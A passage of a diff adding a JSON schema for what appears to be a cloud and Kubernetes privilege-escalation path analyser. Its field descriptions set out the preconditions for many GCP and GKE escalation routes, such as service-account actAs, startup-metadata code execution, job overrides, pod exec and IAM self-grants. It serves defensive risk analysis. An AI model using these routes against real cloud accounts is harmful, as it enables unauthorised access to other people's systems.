+ "anyOf": [ + { + "type": "string" + }, + { + "items": { + "type": "string" + }, + "minItems": 1, + "type": "array" + } + ], + "description": "Identity is attached to a collected resource of that service (Lambda Role, EC2 instance profile, GCE/GKE service account, Azure resource identity incl. full ARM types). Uncollected attachment inventories fall back to trust/all identities with unknown confidence." + }, + "exclude_target_id_glob": { + "anyOf": [ + { + "minLength": 1, + "type": "string" + }, + { + "items": { + "minLength": 1, + "type": "string" + }, + "minItems": 1, + "type": "array" + } + ], + "description": "Generic (evaluator): drop targets whose node id matches one of the globs." + }, + "gcp_actas_granted_on_target": { + "const": true, + "description": "Source holds iam.serviceAccounts.actAs on the target SA (SA policy or project/folder/org inheritance)." + }, + "gcp_actas_granted_to_service_agent": { + "description": "Target SA is one on which the named Google service agent (cloudservices = Google APIs service agent @cloudservices.gserviceaccount.com, used by managed instance groups) holds iam.serviceAccounts.actAs (SA policy or project/folder/org inheritance; Editor by default). Unknown when no binding of that agent is collected.", + "type": "string" + }, + "gcp_agentidentity_retrieve_path": { + "const": true, + "description": "Exact enabled Google OAuth provider and active authorization with useful granted scopes." + }, + "gcp_agentidentity_update_path": { + "const": true, + "description": "Exact enabled Google OAuth provider and active authorization whose later refresh could reach a changed token endpoint." + }, + "gcp_agentregistry_skill_evidence": { + "const": true, + "description": "Unique reviewed evidence ties a changed Agent Registry Skill to one floating consumer, runtime identity, and newly successful bounded action." + }, + "gcp_apigee_proxy_deploy_path": { + "const": true, + "description": "Existing Apigee organization and standard environment with exact author and deployment grants and runtime token delegation." + }, + "gcp_apigee_sharedflow_hook_path": { + "const": true, + "description": "Existing standard Apigee environment with a proxy deployment, exact shared-flow and hook grants, and runtime token delegation." + }, + "gcp_appengine_deploy_path": { + "const": true, + "description": "Existing App Engine application, source staging bucket, and target runtime service-account repository access." + }, + "gcp_appengine_instance_ssh_path": { + "const": true, + "description": "Exact flexible App Engine instance, backing VM, runtime identity, login method and SSH route." + }, + "gcp_appengine_legacy_actas_unenforced": { + "const": true, + "description": "Visible legacy App Engine actAs constraint with effective enforcement disabled for the target project." + }, + "gcp_appintegration_run_as_path": { + "const": true, + "description": "Enabled Application Integration service, one observed integration, same-integration invocation or publication rights, and actAs on the selected service account." + }, + "gcp_artifact_policy_consumer_path": { + "const": true, + "description": "Exact standard Docker repository, tagged Cloud Run consumer and runtime account, plus repository policy-write authority." + }, + "gcp_artifact_upload_consumer_path": { + "const": true, + "description": "Exact standard Docker repository, tagged Cloud Run consumer and runtime account, plus repository upload authority." + }, + "gcp_batch_agent_reporter_on_target": { + "const": true, + "description": "The target service account holds batch.states.report in its Batch job project." + }, + "gcp_bigquery_spark_connection_path": { + "const": true, + "description": "One recorded Spark connection identity has a new effective permission; the source can create or replace and invoke a Spark procedure in a compatible dataset using that exact connection." + }, + "gcp_bounded_access_gain": { + "const": true, + "description": "Unique reviewed evidence proves a newly allowed bounded action through one created or authorized intermediate resource." + }, + "gcp_bounded_mechanism": { + "description": "Exact indirect-access mechanism in the bounded-access evidence record.", + "type": "string" + }, + "gcp_bounded_service_execution": { + "description": "An enabled service account becomes a separate bounded service authority target for the named mechanism.", + "type": "string" + }, + "gcp_bounded_workspace_oauth": { + "description": "A named Workspace user becomes a scope-limited OAuth authority target for the named mechanism.", + "type": "string" + }, + "gcp_challenge_fact": { + "description": "Exact reviewed technique/source/target/scope evidence from gcp_privesc_challenge_evidence. Only verified preconditions produce a conditional path; missing or incomplete evidence is unresolved.", + "type": "string" + }, + "gcp_cloudbuild_api_enabled": { + "const": true, + "description": "Cloud Build API is enabled in the target service account's build project." + }, + "gcp_cloudbuild_writable_trigger_policy_path": { + "const": true, + "description": "An exact connection policy grant can self-grant repository token access for an enabled push trigger with a recorded build identity." + }, + "gcp_cloudbuild_writable_trigger_token_path": { + "const": true, + "description": "An exact repository token grant is joined to an enabled push trigger whose repository build config and service account are recorded." + }, + "gcp_clouddeploy_configurable_custom_render_path": { + "const": true, + "description": "Source can create or update an exact custom target and pipeline route, then create its release with the selected render account." + }, + "gcp_clouddeploy_custom_render_path": { + "const": true, + "description": "A collected pipeline stage, custom target, custom target type, and render service account are joined to exact update and release-create grants." + }, + "gcp_clouddeploy_existing_custom_render_path": { + "const": true, + "description": "A collected pipeline stage and custom target render account are joined to release creation on the exact pipeline." + }, + "gcp_clouddeploy_pipeline_policy_custom_render_path": { + "const": true, + "description": "A collected custom target render account is joined to setIamPolicy on its exact delivery pipeline." + }, + "gcp_cloudfunctions_create_path": { + "const": true, + "description": "Source can create a function with uploaded source and a known build account it can use, and can invoke it." + }, + "gcp_cloudfunctions_env_startup_path": { + "const": true, + "description": "Source can update an active Node.js 20 or later function, use its build identity, and reach an execution route." + }, + "gcp_cloudfunctions_existing_source_update_path": { + "const": true, + "description": "Source can update the source of an active function, act as its build identity, and reach an observed invocation route." + }, + "gcp_cloudfunctions_source_deploy_build_path": { + "const": true, + "description": "Source can create or update a function built as an observed legacy Cloud Build default identity and can act as the function runtime identity." + }, + "gcp_cloudscheduler_authenticated_delivery": { + "const": true, + "description": "The project's Cloud Scheduler service agent has its required role for authenticated job delivery." + }, + "gcp_cloudscheduler_update_job_path": { + "const": true, + "description": "Source can update an enabled scheduler job, or update and resume a paused job, in the target service account's project." + }, + "gcp_cloudtasks_authenticated_delivery": { + "const": true, + "description": "The Cloud Tasks service agent has its project role and access to the exact target service account." + }, + "gcp_cloudtasks_enqueue_path": { + "const": true, + "description": "Source can create a task in a running queue, resume a paused queue, or create a new queue and task in the target account's project." + }, + "gcp_cloudtasks_queue_policy_path": { + "const": true, + "description": "Source can add task creation on an exact queue it does not already control, remove a target override when permitted, and dispatch from a running or resumable queue." + }, + "gcp_composer_create_with_dag_path": { + "const": true, + "description": "Source can create a Composer environment in a region with an eligible custom bucket, prepopulate its DAG prefix, and attach a service account with Composer Worker access." + }, + "gcp_composer_dag_upload_path": { + "const": true, + "description": "Source can create a new Python DAG object under the observed prefix of a usable Composer environment, including through managed-folder IAM." + }, + "gcp_composer_pypi_update_path": { + "const": true, + "description": "Source can update the PyPI packages of a running Composer environment using the target service account." + }, + "gcp_composer_storage_policy_path": { + "description": "Source can write the IAM policy of the exact DAG bucket or managed folder for a usable Composer environment.", + "type": "string" + }, + "gcp_configdelivery_fleet_target": { + "const": true, + "description": "Exact GKE fleet membership, Config Sync feature and RootSync authority with the source's Config Delivery rights on the fleet host project." + }, + "gcp_cross_project_cloudbuild": { + "const": true, + "description": "A build in another collected project can use the target SA only when the effective cross-project policy permits it and that project's Cloud Build service agent has token access." + }, + "gcp_cross_project_run_instance": { + "const": true, + "description": "A Cloud Run instance can be created or updated in a different collected project with the target SA only when the exact host action, target project's effective cross-project policy, and service-agent token access are resolved." + }, + "gcp_cross_project_run_job": { + "const": true, + "description": "A Cloud Run job can be created and run in a different collected project with the target SA only when the target project's effective cross-project org policy permits it and its service agent has token access." + }, + "gcp_cross_project_run_service": { + "const": true, + "description": "A Cloud Run service can be created in a different collected project with the target SA only when the target project's effective cross-project org policy permits it and its service agent has token access." + }, + "gcp_cross_project_workflows": { + "const": true, + "description": "A workflow in another collected project can use the target SA only when the effective cross-project policy permits it and that project's Workflows service agent has token access." + }, + "gcp_custom_role_bound_to_source": { + "const": true, + "description": "Target is the exact scope where the source has a binding to a collected custom role, and the source can update that exact role." + }, + "gcp_dataflow_artifact_overwrite_path": { + "const": true, + "description": "An active Dataflow job links the exact worker account to an unpinned code object that the source can replace and the worker can read." + }, + "gcp_dataflow_flex_launch_path": { + "const": true, + "description": "Enabled Dataflow API, project read, usable staging bucket, worker role and access, and Dataflow and Compute service-agent rights on the exact worker account." + }, + "gcp_datafusion_artifact_poison_path": { + "const": true, + "description": "A replaceable USER-scoped CDAP artifact version is used by an enabled pipeline schedule with a resolved runner and exact namespace and runtime permissions." + }, + "gcp_datafusion_pipeline_path": { + "const": true, + "description": "An installed pipeline artifact exposes a code plugin, and exact namespace, profile, service-agent and runner permissions support execution." + }, + "gcp_datafusion_selfgrant_path": { + "const": true, + "description": "The source can change the exact Data Fusion instance or namespace IAM policy, then reach an installed code plugin's runnable profile account." + }, + "gcp_datapipelines_scheduled_template_path": { + "const": true, + "description": "Enabled Data Pipelines runtime, scheduled region, service agents, and an authorized Scheduler identity for the exact worker account." + }, + "gcp_dataplex_task_path": { + "const": true, + "description": "An active lake accepts task creation, the selected account can be acted as and run Spark, and a writable Python payload is readable by that account." + }, + "gcp_dataproc_cluster_selfgrant_path": { + "const": true, + "description": "The source can change an exact running Dataproc cluster policy, create a job in its project, and supply a script the cluster account can read." + }, + "gcp_dataproc_create_path": { + "const": true, + "description": "The source can create a Dataproc workload with the chosen service account, runnable worker, script, service agent, and subnet." + }, + "gcp_dataproc_gateway_path": { + "const": true, + "description": "An enabled notebook gateway on an exact running cluster lets the caller run code with its verified VM or mapped service account." + }, + "gcp_dataproc_init_replace_path": { + "const": true, + "description": "The caller can replace one live initialization-action object that a running cluster's VM account can read." + }, + "gcp_dataproc_job_path": { + "const": true, + "description": "The caller can submit a runnable job to an exact running cluster and use its verified VM or mapped service account." + }, + "gcp_dataproc_session_path": { + "const": true, + "description": "The source can create and access a Dataproc interactive session with the chosen service account and a usable runtime." + }, + "gcp_dataproc_workflow_path": { + "const": true, + "description": "The caller can create and instantiate a managed-cluster workflow with a runnable initialization action and chosen service account." + }, + "gcp_deploymentmanager_create_path": { + "const": true, + "description": "An existing customer's enabled Deployment Manager can use the exact project Google APIs Service Agent for a viable VM path." + }, + "gcp_deploymentmanager_selfgrant_path": { + "const": true, + "description": "The caller can change an exact deployment policy, grant itself update, and use the exact project agent's downstream path." + }, + "gcp_deploymentmanager_update_path": { + "const": true, + "description": "The caller can update an exact existing deployment with a current fingerprint and use its project agent's downstream path." + }, + "gcp_developerconnect_pipeline_path": { + "const": true, + "description": "The caller can write the exact Developer Connect link of an enabled push trigger with a repository build file and a more privileged build identity." + }, + "gcp_eventarc_oauth_pipeline_path": { + "const": true, + "description": "An exact Eventarc project has pipeline-create permission, a same-region enrollment route through an existing or creatable bus, and a service agent able to mint an OAuth token for the target SA." + }, + "gcp_external_plane": { + "description": "Exact external authorization plane named by the reviewed principal-gain record.", + "type": "string" + }, + "gcp_external_principal_evidence": { + "const": true, + "description": "Unique complete reviewed evidence binds a declared action to one named external-plane principal, usable credential, and a newly allowed target action." + }, + "gcp_firebase_apphosting_retarget": { + "const": true, + "description": "An exact active Firebase App Hosting backend exists in the target SA project and the source can update, build and roll out on that backend." + }, + "gcp_fleet_config_management_target": { + "const": true, + "description": "Exact GKE fleet member, feature lifecycle and member feature, mutation permission on the matching resource, and Config Sync RootSync authority." + }, + "gcp_fleet_rbac_admin_target": { + "const": true, + "description": "Exact fleet membership or scope binding to an observed admin-equivalent custom ClusterRole on its joined GKE cluster, with an API access path." + }, + "gcp_gcr_namespace_path": { + "const": true, + "description": "Fully redirected gcr.io host with a missing matching repository, create and upload rights there, and an exact tagged workload consumer identity." + }, + "gcp_gke_clusterrole_bind": { + "const": true, + "description": "A joined running GKE cluster has a confirmed cluster-admin ClusterRole and a create path or an existing ClusterRoleBinding whose subjects can be updated." + }, + "gcp_gke_clusterrole_escalate": { + "const": true, + "description": "A joined running GKE cluster has an exact ClusterRoleBinding reaching the source, and the source can update its non-aggregated ClusterRole or create its missing referenced ClusterRole." + }, + "gcp_gke_namespaced_rbac_ksa_path": { + "const": true, + "description": "Exact joined GKE namespace RBAC permits a self-grant of Pod creation or ServiceAccount token creation for the target KSA." + }, + "gcp_gke_node_proxy_ksa": { + "const": true, + "description": "Exact GKE node proxy grant reaches a running container on a joined Node with the target Kubernetes service account token." + }, + "gcp_gke_node_proxy_sa": { + "const": true, + "description": "Exact GKE node-pool service account is joined to a running Pod on a labeled node whose metadata mode permits its token to be read through kubelet execution." + }, + "gcp_gke_node_sa_actas": { + "const": true, + "description": "An enabled service account can be selected for new Standard GKE nodes, and the source can create a pod on those nodes; cross-project use needs its guardrails." + }, + "gcp_gke_nodepool_metadata_downgrade": { + "const": true, + "description": "An exact Standard GKE node pool currently using GKE_METADATA can be updated and has a Pod workload path to its attached node service account." + }, + "gcp_gke_pod_exec_ksa": { + "const": true, + "description": "Exact joined GKE ServiceAccount has a named running Pod container with a mounted API audience token and Google-principal Pod exec authority." + }, + "gcp_gke_pod_exec_node_sa": { + "const": true, + "description": "Exact running GKE Standard cluster and node pool attach the target service account to a node with a running Pod container whose metadata mode exposes that account." + }, + "gcp_gke_pod_template_ksa": { + "const": true, + "description": "Exact GKE workload create authority, or update authority over an existing mutable controller in the target KSA namespace, with Google-principal cluster authentication." + }, + "gcp_gke_pod_template_node_sa": { + "const": true, + "description": "Exact running GKE Standard cluster and node pool attach the target service account to a schedulable node with usable metadata; the source can create a workload, update an existing controller, or update a running Pod." + }, + "gcp_gke_pod_update_ksa": { + "const": true, + "description": "Exact joined GKE ServiceAccount has a named running Pod container whose image can be changed and whose mounted token has the API audience." + }, + "gcp_gke_secret_ksa": { + "const": true, + "description": "Exact joined GKE ServiceAccount UID matches a populated, valid token Secret that the Google principal can list or read by a discoverable name." + }, + "gcp_gke_system_impersonation": { + "const": true, + "description": "An exact running GKE Standard cluster accepts system identity impersonation and the source can authenticate to its API server." + }, + "gcp_gke_token_request_ksa": { + "const": true, + "description": "Exact joined running GKE cluster has a non-deleting Kubernetes ServiceAccount whose TokenRequest subresource the Google principal can create." + }, + "gcp_gke_webhook_ksa_path": { + "const": true, + "description": "A running GKE cluster has a KSA workload that can be reached by a new webhook or by updating an existing webhook configuration." + }, + "gcp_group_join_open_to_source": { + "const": true, + "description": "gcp_group targets the source can join without approval (Groups Settings whoCanJoin ANYONE_CAN_JOIN, or ALL_IN_DOMAIN_CAN_JOIN with the source's email domain equal to the group's; a source outside the group's domain also needs allowExternalMembers=true). Use with requires: {} and source_kind gcp_user." + }, + "gcp_hmac_storage_identity": { + "const": true, + "description": "Each enabled inventoried service account becomes a separate Cloud Storage-only HMAC authority target." + }, + "gcp_image_family_consumer": { + "const": true, + "description": "gcp_service_account targets attached to a collected instance template whose boot disk sourceImage is an image family (projects/

/global/images/family/); {target.image_family_project} = projects/

of those families." + }, + "gcp_implicit_delegation_chain": { + "const": true, + "description": "Target SA is one a delegate chain can mint credentials for: the source holds iam.serviceAccounts.implicitDelegation on delegate D1, each Di holds implicitDelegation on Di+1 (transitively), and some Dk holds getAccessToken, signBlob or signJwt on the target. Delegates are not targets themselves (implicitDelegation does not yield their own token)." + }, + "gcp_kcc_generated_key_secret": { + "const": true, + "description": "A joined KCC identity can create a key for the exact target service account while the source can create the KCC resource and read its generated Secret or key resource status on the same cluster." + }, + "gcp_kcc_project_policy_grant": { + "const": true, + "description": "A joined GKE cluster and Config Connector namespace identity can write a collected project's IAM policy through a served KCC policy resource." + }, + "gcp_metadata_vm_path": { + "const": true, + "description": "An exact VM with the target service account has metadata control and a concrete startup or metadata SSH path." + }, + "gcp_mig_create_path": { + "const": true, + "description": "A new instance template and managed instance group can use a ready image and subnet, caller and service-agent permissions, and the exact target service account." + }, + "gcp_mig_existing_template_path": { + "const": true, + "description": "One inventoried managed instance group and its current template are joined to exact update, template, supporting, rollout, and service-agent actAs permissions." + }, + "gcp_osadminlogin_vm_path": { + "const": true, + "description": "A running VM attached to the target service account has OS Login enabled and the source can request administrator login on that exact VM." + }, + "gcp_osconfig_guest_policy_path": { + "const": true, + "description": "A running VM attached to the target service account has an active OS Config inventory heartbeat and enabled guest-policy processing; creation or exact existing-policy update authority is checked separately." + }, + "gcp_osconfig_os_policy_assignment_path": { + "const": true, + "description": "A running VM attached to the target service account has enabled GA OS-policy processing and a recent agent heartbeat; zonal create or named update authority is checked separately." + }, + "gcp_osconfig_patch_job_path": { + "const": true, + "description": "A running patch-supported VM attached to the target service account has enabled patch processing and a recent agent heartbeat; project execute/create or exact deployment update authority is checked separately." + }, + "gcp_osconfig_policy_orchestrator_path": { + "const": true, + "description": "A running VM attached to the target service account has enabled GA OS-policy processing and a recent agent heartbeat; the source can write an orchestrator at a containing parent with required service agents." + }, + "gcp_oslogin_vm_path": { + "const": true, + "description": "A running VM attached to the target service account has OS Login enabled and the source can request standard login on that exact VM." + }, + "gcp_pam_entitlement_requester": { + "const": true, + "description": "Target scope has a Privileged Access Manager entitlement whose eligible requesters include the source (directly or through a group) and whose roles give IAM control of the scope. PAM entitlements are not collected (not evaluated)." + }, + "gcp_privatecatalog_dm_iam_path": { + "const": true, + "description": "An exact validated Deployment Manager version is shared to a consumer project whose Google APIs Service Agent has project IAM write authority the source lacks; the source can update that version." + }, + "gcp_project_iam_sa_token_grant": { + "const": true, + "description": "An exact project IAM policy writer can add a project-wide Token Creator binding for itself and mint a token for a named enabled service account it cannot already impersonate." + }, + "gcp_project_metadata_vm_path": { + "const": true, + "description": "An exact VM with the target service account inherits controlled project metadata and has a concrete startup or metadata SSH path." + }, + "gcp_resource_self_grant": { + "const": true, + "description": "A reviewed accepted self-grant or a modeled exact-resource policy write that adds a new permission; prospective resources include Secret Manager secrets, Cloud KMS keys, Pub/Sub topics and subscriptions, standard Artifact Registry repositories, and Analytics Hub exchanges and listings." + }, + "gcp_run_instance_create_or_update_path": { + "const": true, + "description": "Source can create a Cloud Run instance in the target project or update an exact existing instance there." + }, + "gcp_run_instance_ssh_path": { + "const": true, + "description": "Source has SSH permission on an attached Cloud Run instance that is running or can be started." + }, + "gcp_run_job_create_execute_path": { + "const": true, + "description": "Source can create and run a new Cloud Run job in the target service account's project when both grants apply there and the API is enabled." + }, + "gcp_run_job_override_path": { + "const": true, + "description": "Source can run a ready collected Cloud Run job with overrides on the same job, whose recorded interpreter command accepts code through overridden arguments." + }, + "gcp_run_job_policy_override_path": { + "const": true, + "description": "Source can self-grant missing actions on an exact ready Cloud Run job and execute code through its recorded interpreter or an update with actAs on the pinned service account." + }, + "gcp_run_job_update_execute_path": { + "const": true, + "description": "Source can update and run the same collected Cloud Run job in the target service account's project." + }, + "gcp_run_service_create_path": { + "const": true, + "description": "Source can create a new Cloud Run service in the target service account's project when the grant applies there and the API is enabled." + }, + "gcp_run_service_policy_update_path": { + "const": true, + "description": "Source can self-grant missing update rights on an exact ready Cloud Run service whose IAM policy it controls." + }, + "gcp_run_service_ssh_path": { + "const": true, + "description": "Source has SSH permission on an attached, ready second-generation Cloud Run service with SSH enabled." + }, + "gcp_run_service_update_path": { + "const": true, + "description": "Source can update an exact collected Cloud Run service in the target service account's project." + }, + "gcp_run_worker_pool_create_or_update_path": { + "const": true, + "description": "Source can create a worker pool in the target project or update an exact existing worker pool there." + }, + "gcp_run_worker_pool_policy_update_path": { + "const": true, + "description": "Source can self-grant missing update rights on an exact ready Cloud Run worker pool whose IAM policy it controls." + }, + "gcp_sa_in_scope_of_permission": { + "const": true, + "description": "Requirements with resource '*' must hold on the target SA's project (or the SA / an ancestor)." + }, + "gcp_sa_swap_vm_path": { + "const": true, + "description": "An existing VM can stop if needed, attach the target service account, start, and run code or allow login on that same VM." + }, + "gcp_sourcerepo_trigger_path": { + "description": "A collected Cloud Source repository and enabled push trigger are joined to its exact build service account and source permission (push or selfgrant).", + "type": "string" + }, + "gcp_vertex_batch_prediction_path": { + "const": true, + "description": "Source can create a batch prediction job with an inline container and use a target service account delegated to the Vertex AI service agent." + }, + "gcp_vertex_new_model_endpoint_path": { + "const": true, + "description": "Source can upload a custom model, create an endpoint, deploy it, and use a target service account delegated to the Vertex AI service agent." + }, + "gcp_vm_create_path": { + "const": true, + "description": "The source can create a VM with the target service account and a usable boot image, subnet, startup metadata, and outbound access path." + }, + "gcp_vmmigration_metadata_clone_path": { + "const": true, + "description": "Source can update and clone the same MigratingVm whose target defaults name the target runtime service account." + }, + "gcp_wif_active_path": { + "description": "An exact active workload pool or provider is joined to a pool-wide service-account token binding and the source's control action.", + "type": "string" + }, + "gcp_wif_restorable_path": { + "const": true, + "description": "An exact disabled or deleted workload pool or provider is joined to a pool-wide service-account token binding and the source's restore action." + }, + "gcp_workbench_existing_takeover_path": { + "const": true, + "description": "Source can update and boot the same existing Workbench instance or self-grant its instance administration rights." + }, + "gcp_workflows_observed_external_execution": { + "const": true, + "description": "An enabled Scheduler job is recorded to execute an exact workflow the source can update; other possible triggers remain unresolved." + }, + "gcp_workflows_update_attach_path": { + "const": true, + "description": "Source can update and execute an existing active workflow in the target service account's project." + }, + "gcp_workflows_update_execute_same_workflow": { + "const": true, + "description": "Source can update and execute the same active workflow attached to the target service account." + }, + "gcp_workforce_control_path": { + "const": true, + "description": "An exact workforce pool or provider control action is joined to an organization-local pool-wide service-account token binding." + }, + "gcp_workspace_super_admin_with_registered_domain": { + "const": true, + "description": "gcp_workspace_user targets that are Workspace super administrators of a customer whose customerDomain matches an ACTIVE Cloud Domains registration; {target.domain_registration} = those registration resource names." + }, + "gcp_workstations_create_config_path": { + "const": true, + "description": "An existing workstation cluster allows config and workstation creation for the chosen service account." + }, + "gcp_workstations_create_from_config_path": { + "const": true, + "description": "The source can create a workstation from an exact config and can act as the account if its scopes require that." + }, + "gcp_workstations_use_existing_path": { + "const": true, + "description": "The source can use an exact running workstation, start and use a stopped one, or self-grant access through its policy." + }, + "k8s_sa_has_token_secret": { + "const": true, + "description": "GKE: KSAs of cluster {target.scope} referenced by a kubernetes.io/service-account-token Secret (annotation kubernetes.io/service-account.name); joined from the related K8s snapshot, else one conditional aggregate per cluster." + }, + "k8s_sa_in_cluster": { + "const": true, + "description": "GKE: every KSA of cluster {target.scope}; joined from the related K8s snapshot, else one conditional aggregate per cluster." + }, + "k8s_sa_used_by_running_pod": { + "const": true, + "description": "Service account is used by a running pod with an available token." + }, + "resource_permission_covers_target": { + "description": "The source must also hold this action on the target resource ({target.arn}/{target.email}/{target.scope}/{target.namespace}).", + "minLength": 1, + "type": "string" + }, + "same_as_source": { + "const": true, + "description": "Target is the source itself (self-escalation); for entity kinds the source's own scope." + }, + "target_id_glob": { + "anyOf": [ + { + "minLength": 1, + "type": "string" + }, + { + "items": { + "minLength": 1, + "type": "string" + }, + "minItems": 1, + "type": "array" + } + ], + "description": "Generic (evaluator): target node id (ARN / SA email / object id / cluster:ns:name) matches one of the case-insensitive globs (e.g. '*-compute@developer.gserviceaccount.com', 'arn:aws:iam::*:role/aws-reserved/*')." + }, + "target_name_glob": { + "anyOf": [ + { + "minLength": 1, + "type": "string" + }, + { + "items": { + "minLength": 1, + "type": "string" + }, + "minItems": 1, + "type": "array" + } + ], + "description": "Generic (evaluator): target display name (role / user / SA / identity name) matches one of the globs." + } + }, + "type": "object" + } + } + } + } + }, + "k8s_conjunction": { + "items": { + "$ref": "#/$defs/k8s_item" + }, + "minItems": 1, + "type": "array" + }, + "k8s_group": { + "additionalProperties": false, + "minProperties": 1, + "oneOf": [ + { + "required": [ + "all_of" + ] + }, + { + "required": [ + "any_of" + ] + } + ], + "properties": { + "all_of": { + "$ref": "#/$defs/k8s_conjunction" + }, + "any_of": { + "items": { + "anyOf": [ + { + "$ref": "#/$defs/k8s_item" + }, + { + "$ref": "#/$defs/k8s_conjunction" + } + ] + }, + "minItems": 1, + "type": "array" + }, + "notes": { + "type": "string" + } + }, + "type": "object" + }, + "k8s_item": { + "anyOf": [ + { + "$ref": "#/$defs/k8s_requirement" + }, + { + "$ref": "#/$defs/k8s_group" + } + ] + }, + "k8s_requirement": { + "additionalProperties": false, + "anyOf": [ + { + "required": [ + "resource" + ] + }, + { + "required": [ + "resource_match" + ] + } + ], + "oneOf": [ + { + "not": { + "required": [ + "verb_prefix" + ] + }, + "required": [ + "verb" + ] + }, + { + "not": { + "required": [ + "verb" + ] + }, + "required": [ + "verb_prefix" + ] + } + ], + "properties": { + "api_group": { + "type": "string" + }, + "bind": { + "description": "Requirements with the same bind name must hold on ONE common resource the source picks.", + "pattern": "^[a-z][a-z0-9_]{0,40}$", + "type": "string" + }, + "namespace": { + "description": "'{target.namespace}', '{source.namespace}', '*' (cluster-wide) or a literal.", + "type": "string" + }, + "notes": { + "type": "string" + }, + "resource": { + "description": "Resource (use subresource for a/b).", + "pattern": "^[^/]*$", + "type": "string" + }, + "resource_match": { + "description": "any: any resource (and API group unless api_group is set) the rule names.", + "enum": [ + "any" + ] + }, + "resource_name": { + "type": "string" + }, + "subresource": { + "type": "string" + }, + "verb": { + "minLength": 1, + "type": "string" + }, + "verb_prefix": { + "description": "Any rule verb starting with this prefix matches (e.g. 'impersonate-on:user-info:').", + "pattern": "^[^*]+$", + "type": "string" + } + }, + "type": "object" + }, + "k8s_technique": { + "properties": { + "id": { + "pattern": "^k8s-[a-z0-9]+(-[a-z0-9]+)*$" + }, + "preconditions": { + "items": { + "anyOf": [ + { + "enum": [ + "k8s_eks_cluster", + "k8s_openshift_cluster" + ] + }, + { + "additionalProperties": false, + "properties": { + "description": { + "type": "string" + }, + "id": { + "enum": [ + "k8s_eks_cluster", + "k8s_openshift_cluster" + ] + } + }, + "required": [ + "id" + ], + "type": "object" + } + ] + }, + "type": "array" + }, + "requires": { + "additionalProperties": false, + "properties": { + "all_of": { + "items": { + "$ref": "#/$defs/k8s_item" + }, + "type": "array" + }, + "any_of": { + "description": "Alternative groups: at least one group must fully hold (with all_of).", + "items": { + "$ref": "#/$defs/k8s_conjunction" + }, + "type": "array" + } + }, + "type": "object" + }, + "source_kind": { + "anyOf": [ + { + "enum": [ + "cloud_identity", + "gcp_service_account", + "k8s_group", + "k8s_node", + "k8s_remote_cluster", + "k8s_service_account", + "k8s_user" + ] + }, + { + "items": { + "enum": [ + "cloud_identity", + "gcp_service_account", + "k8s_group", + "k8s_node", + "k8s_remote_cluster", + "k8s_service_account", + "k8s_user" + ] + }, + "minItems": 1, + "type": "array" + } + ] + }, + "source_selector": { + "additionalProperties": false, + "properties": { + "eks_access_entry_type": { + "description": "EKS access entry type of the source EKS node-role cloud identity (related AWS eks_access_entry); sources whose entries have another type are dropped, sources without an entry are decided by the target selector.", + "type": "string" + }, + "include_service_managed": { + "description": "Allow service-managed identities (AWS service-linked roles, Google-managed agents, Microsoft first-party service principals) as sources; they are skipped by default because customers cannot act as them.", + "type": "boolean" + }, + "k8s_node_role": { + "description": "Node carries node-role.kubernetes.io/ label.", + "type": "string" + }, + "source_bound_to_aggregated_clusterrole": { + "anyOf": [ + { + "const": true + }, + { + "const": "cluster" + }, + { + "const": "namespace" + } + ], + "description": "Source is bound to a ClusterRole with an aggregationRule: true = by any (Cluster)RoleBinding, 'cluster' = by a ClusterRoleBinding only (cluster-wide)." + }, + "source_id_glob": { + "anyOf": [ + { + "minLength": 1, + "type": "string" + }, + { + "items": { + "minLength": 1, + "type": "string" + }, + "minItems": 1, + "type": "array" + } + ], + "description": "Generic (evaluator): the source principal id matches one of the case-insensitive globs." + }, + "source_reaches_kind": { + "description": "Generic (evaluator, graph post-pass): the source is of that target kind or reaches a node of that kind through the other techniques' edges (fixpoint); the edge takes the weakest confidence of the best chain and the condition source_reaches__via_chain.", + "enum": [ + "aws_account_admin", + "aws_challenge_foothold", + "aws_directory_domain_admin", + "aws_group", + "aws_identity_center_permission_set", + "aws_identity_center_user", + "aws_role", + "aws_service_plane_admin", + "aws_user", + "aws_verified_authority", + "azure_challenge_foothold", + "azure_dataplane_admin", + "azure_external_principal", + "azure_managed_identity", + "azure_scope_owner", + "azure_service_principal", + "azure_storage_local_user", + "azure_user", + "azure_verified_authority", + "cloud_identity", + "entra_group", + "entra_role", + "gcp_challenge_foothold", + "gcp_external_principal", + "gcp_group", + "gcp_scope_owner", + "gcp_service_account", + "gcp_user", + "gcp_verified_authority", + "gcp_workspace_user", + "k8s_admission_control", + "k8s_cluster_admin", + "k8s_group", + "k8s_node", + "k8s_remote_cluster", + "k8s_service_account", + "k8s_user", + "k8s_verified_authority" + ] + } + }, + "type": "object" + }, + "target": { + "properties": { + "kind": { + "enum": [ + "cloud_identity", + "gcp_service_account", + "gcp_verified_authority", + "k8s_admission_control", + "k8s_cluster_admin", + "k8s_group", + "k8s_node", + "k8s_remote_cluster", + "k8s_service_account", + "k8s_user", + "k8s_verified_authority" + ] + }, + "selector": { + "additionalProperties": false, + "properties": { + "any_principal_in_scope": { + "const": true, + "description": "Entity target covering every principal of the scope where the requirement holds (scope owner / cluster-admin / account admin)." + }, + "azure_fic_matches_k8s_sa": { + "const": true, + "description": "Federated identity credential subject matches the SA (cloud facts needed)." + }, + "exclude_names": { + "anyOf": [ + { + "type": "string" + }, + { + "items": { + "type": "string" + }, + "minItems": 1, + "type": "array" + } + ], + "description": "Drop targets whose name is in the list." + }, + "exclude_target_id_glob": { + "anyOf": [ + { + "minLength": 1, + "type": "string" + }, + { + "items": { + "minLength": 1, + "type": "string" + }, + "minItems": 1, + "type": "array" + } + ], + "description": "Generic (evaluator): drop targets whose node id matches one of the globs." + }, + "gcp_workload_identity_user_granted_to_k8s_sa": { + "const": true, + "description": "GSA grants roles/iam.workloadIdentityUser to the KSA member (cloud facts needed)." + }, + "k8s_aggregated_rolebinding_namespace": { + "const": true, + "description": "The source is bound in the target namespace to a ClusterRole whose aggregationRule selects new ClusterRoles." + }, + "k8s_aggregation_new_role_path": { + "const": true, + "description": "An escalation grant admits a new ClusterRole name that is not already used by a collected role." + }, + "k8s_bound_role_gain": { + "const": true, + "description": "Collected Role rules contain a concrete permission the source lacks; the source can bind that exact Role in the target namespace." + }, + "k8s_challenge_fact": { + "description": "Exact reviewed Kubernetes technique/source/target/scope evidence.", + "type": "string" + }, + "k8s_cluster_admin_role_exists": { + "const": true, + "description": "The named cluster-admin ClusterRole is collected and grants pod creation or named ServiceAccount TokenRequest in the target namespace." + }, + "k8s_clusterrolebinding_gain": { + "const": true, + "description": "A collected ClusterRole grants a new cluster-wide permission and the source can bind that exact role." + }, + "k8s_constrained_impersonation_gain": { + "description": "The impersonate-on action overlaps 